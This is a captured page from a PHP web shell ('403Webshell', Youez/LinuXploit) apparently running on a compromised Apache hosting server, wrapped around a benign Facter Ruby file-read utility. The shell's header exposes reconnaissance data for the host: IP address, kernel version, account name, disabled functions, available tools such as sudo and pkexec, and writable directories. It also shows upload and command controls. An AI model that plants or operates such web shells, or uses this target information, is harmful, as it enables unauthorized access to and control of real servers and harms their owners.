403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.59
Web Server : Apache
System : Linux hp3-wp-1011352.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2516497 ( 2094697)
PHP Version : 8.3.30
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/ruby/vendor_ruby/facter/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/ruby/vendor_ruby/facter/util/file_read.rb
module Facter
module Util

# {Facter::Util::FileRead} is a utility module intended to provide easily
# mockable methods that delegate to simple file read methods.  The intent is to
# avoid the need to execute the `cat` system command or `File.read` directly in
# Ruby, as mocking these behaviors can have wide-ranging effects.
#
# All Facter facts are encouraged to use this method instead of File.read or
# Facter::Core::Execution.exec('cat ...')
#
# @api public
module FileRead
  # read returns the raw content of a file as a string.  If the file does not
  # exist, or the process does not have permission to read the file then nil is
  # returned.
  #
  # @api public
  #
  # @param path [String] the path to be read
  #
  # @return [String, nil] the raw contents of the file or `nil` if the
  #   file cannot be read because it does not exist or the process does not have
  #   permission to read the file.
  def self.read(path)
    File.read(path)
  rescue Errno::ENOENT, Errno::EACCES => detail
    Facter.debug "Could not read #{path}: #{detail.message}"
    nil
  end

  def self.read_binary(path)
    File.open(path, "rb") { |contents| contents.read }
  end
end
end
end

Youez - 2016 - github.com/yon3zu
LinuXploit